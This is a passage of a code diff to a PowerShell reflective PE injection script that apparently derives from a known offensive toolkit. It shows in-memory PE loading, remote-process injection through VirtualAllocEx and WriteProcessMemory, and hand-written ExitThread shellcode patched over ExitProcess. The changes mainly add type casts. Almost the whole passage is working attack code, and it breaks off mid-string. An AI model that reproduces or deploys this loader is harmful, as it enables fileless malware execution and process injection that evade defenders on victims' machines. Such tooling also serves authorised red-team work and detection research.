$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) - $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null - } - } - ################################################# - - - ################################################# - #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. - - $ReturnArray = @() - $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process - - #CorExitProcess (compiled in to visual studio c++) - [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") - if ($MscoreeHandle -eq [IntPtr]::Zero) - { - throw "mscoree handle null" - } - [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") - if ($CorExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "CorExitProcess address not found" - } - $ExitFunctions += $CorExitProcessAddr - - #ExitProcess (what non-managed programs use) - [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") - if ($ExitProcessAddr -eq [IntPtr]::Zero) - { - Throw "ExitProcess address not found" - } - $ExitFunctions += $ExitProcessAddr - - [UInt32]$OldProtectFlag = 0 - foreach ($ProcExitFunctionAddr in $ExitFunctions) - { - $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr - #The following is the shellcode (Shellcode: ExitThread.asm): - #32bit shellcode - [Byte[]]$Shellcode1 = @(0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) - #64bit shellcode (Shellcode: ExitThread.asm) - if ($PtrSize -eq 8) - { - [Byte[]]$Shellcode1 = @(0x48, 0xbb) - [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) - } - [Byte[]]$Shellcode3 = @(0xff, 0xd3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length - [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") - if ($ExitThreadAddr -eq [IntPtr]::Zero) - { - Throw "ExitThread address not found" - } - - $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } - #Make copy of original ExitProcess bytes - $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) - #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then - # call ExitThread - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) - $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize - Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp - - $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - ################################################# - - Write-Output $ReturnArray - } + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } - #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) - # It copies Count bytes from Source to Destination. - Function Copy-ArrayOfMemAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Array[]] - $CopyInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants - ) - - [UInt32]$OldProtectFlag = 0 - foreach ($Info in $CopyInfo) - { - $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Call to VirtualProtect failed" - } + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } - $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null - $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - } - } - - - ##################################### - ########## FUNCTIONS ########### - ##################################### - Function Get-MemoryProcAddress - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [IntPtr] - $PEHandle, - - [Parameter(Position = 1, Mandatory = $true)] - [String] - $FunctionName - ) - - $Win32Types = Get-Win32Types - $Win32Constants = Get-Win32Constants - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Get the export table - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) - { - return [IntPtr]::Zero - } - $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) - $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, $Win32Types.IMAGE_EXPORT_DIRECTORY) - - for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) - { - #AddressOfNames is an array of pointers to strings of the names of the functions exported - $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) - $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [UInt32])) - $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) - - if ($Name -ceq $FunctionName) - { - #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions - # which contains the offset of the function in to the DLL - $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt16]))) - $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [UInt16]) - $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([UInt32]))) - $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [UInt32]) - return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) - } - } - - return [IntPtr]::Zero - } - - - Function Invoke-MemoryLoadLibrary - { - Param( - [Parameter( Position = 0, Mandatory = $true )] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $false)] - [String] - $ExeArgs, - - [Parameter(Position = 2, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $RemoteLoading = $false - if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $RemoteLoading = $true - } - - #Get basic PE information - Write-Verbose "Getting basic PE information from the file" - $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types - $OriginalImageBase = $PEInfo.OriginalImageBase - $NXCompatible = $true - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) - { - Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue - $NXCompatible = $false - } - - - #Verify that the PE and the current process are the same bits (32bit or 64bit) - $Process64Bit = $true - if ($RemoteLoading -eq $true) - { - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") - if ($Result -eq [IntPtr]::Zero) - { - Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" - } + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } - [Bool]$Wow64Process = $false - $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) - if ($Success -eq $false) - { - Throw "Call to IsWow64Process failed" - } + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } - if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -eq 4))) - { - $Process64Bit = $false - } + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } - #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly - $PowerShell64Bit = $true - if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) - { - $PowerShell64Bit = $false - } - if ($PowerShell64Bit -ne $Process64Bit) - { - throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" - } - } - else - { - if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) - { - $Process64Bit = $false - } - } - if ($Process64Bit -ne $PEInfo.PE64Bit) - { - Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" - } - - - #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address - Write-Verbose "Allocating memory for the PE and write its headers to memory" - - [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) - { - Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue - [IntPtr]$LoadAddr = $OriginalImageBase - } - - $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell - $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. - if ($RemoteLoading -eq $true) - { - #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup - $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - #todo, error handling needs to delete this memory if an error happens along the way - $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($EffectivePEHandle -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" - } - } - else - { - if ($NXCompatible -eq $true) - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - } - else - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - } - $EffectivePEHandle = $PEHandle - } - - [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) - if ($PEHandle -eq [IntPtr]::Zero) - { - Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." - } - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null - - - #Now that the PE is in memory, get more detailed information about it - Write-Verbose "Getting detailed PE information from the headers loaded in memory" - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress - $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle - Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" - - - #Copy each section from the PE in to memory - Write-Verbose "Copy PE sections in to memory" - Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types - - - #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded - Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" - Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types - - - #The PE we are in-memory loading has DLLs it needs, import those DLLs for it - Write-Verbose "Import DLL's needed by the PE we are loading" - if ($RemoteLoading -eq $true) - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle - } - else - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - } - - - #Update the memory protection flags for all the memory just allocated - if ($RemoteLoading -eq $false) - { - if ($NXCompatible -eq $true) - { - Write-Verbose "Update memory protection flags" - Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types - } - else - { - Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" - } - } - else - { - Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" - } - - - #If remote loading, copy the DLL in to remote process memory - if ($RemoteLoading -eq $true) - { - [UInt32]$NumBytesWritten = 0 - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write shellcode to remote process memory." - } - } - - - #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function - if ($PEInfo.FileType -ieq "DLL") - { - if ($RemoteLoading -eq $false) - { - Write-Verbose "Calling dllmain so the DLL knows it has been loaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address 